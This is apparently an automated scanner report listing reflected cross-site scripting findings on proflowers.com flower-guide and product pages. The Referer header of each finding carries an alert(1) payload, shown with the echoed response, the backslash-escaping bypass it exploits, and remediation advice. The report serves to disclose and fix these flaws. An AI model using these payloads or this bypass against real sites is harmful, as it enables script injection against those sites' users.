GET /flowerguide/history-of-poinsettia/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=d0a9f\"%3balert(1)//dcd2f77a00d
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:23 GMT Connection: close Content-Length: 94438
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d91d6\"%3balert(1)//4433046f707 was submitted in the Referer HTTP header. This input was echoed as d91d6\\";alert(1)//4433046f707 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowerguide/history-of-the-wreath/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=d91d6\"%3balert(1)//4433046f707
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:21 GMT Connection: close Content-Length: 107723
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9bc9c\"%3balert(1)//a054a87e95a was submitted in the Referer HTTP header. This input was echoed as 9bc9c\\";alert(1)//a054a87e95a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowerguide/top-ten-christmas-decorations/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=9bc9c\"%3balert(1)//a054a87e95a
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:18 GMT Connection: close Content-Length: 87818
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 341e6\"%3balert(1)//11edc498bb7 was submitted in the Referer HTTP header. This input was echoed as 341e6\\";alert(1)//11edc498bb7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowering-plants-blp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=341e6\"%3balert(1)//11edc498bb7
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:19 GMT Connection: close Content-Length: 204179
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_341e6\\";alert(1)//11edc498bb7";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c645d\"%3balert(1)//fbe4472f712 was submitted in the Referer HTTP header. This input was echoed as c645d\\";alert(1)//fbe4472f712 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers-by-the-month-fbm HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=c645d\"%3balert(1)//fbe4472f712
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:19 GMT Connection: close Content-Length: 118655
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_c645d\\";alert(1)//fbe4472f712";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ae92\"%3balert(1)//fafa98f9e24 was submitted in the Referer HTTP header. This input was echoed as 8ae92\\";alert(1)//fafa98f9e24 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /fresh-flowers-new HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=8ae92\"%3balert(1)//fafa98f9e24
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:28 GMT Connection: close Content-Length: 211802
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_8ae92\\";alert(1)//fafa98f9e24";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f59a8\"%3balert(1)//f79066934d6 was submitted in the Referer HTTP header. This input was echoed as f59a8\\";alert(1)//f79066934d6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /fresh-fruit-baskets-frt HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=f59a8\"%3balert(1)//f79066934d6
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:05 GMT Connection: close Content-Length: 167417
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_f59a8\\";alert(1)//f79066934d6";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 48a40\"%3balert(1)//2c3ed3983c4 was submitted in the Referer HTTP header. This input was echoed as 48a40\\";alert(1)//2c3ed3983c4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /fruit-clubs-clb HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=48a40\"%3balert(1)//2c3ed3983c4
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:18 GMT Connection: close Content-Length: 88420
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_48a40\\";alert(1)//2c3ed3983c4";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1c265\"%3balert(1)//ffbd1522b8 was submitted in the Referer HTTP header. This input was echoed as 1c265\\";alert(1)//ffbd1522b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /funeral-flowers-fnr HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=1c265\"%3balert(1)//ffbd1522b8
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:54 GMT Connection: close Content-Length: 273479
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_1c265\\";alert(1)//ffbd1522b8";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f43a\"%3balert(1)//16e05794f6d was submitted in the Referer HTTP header. This input was echoed as 2f43a\\";alert(1)//16e05794f6d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
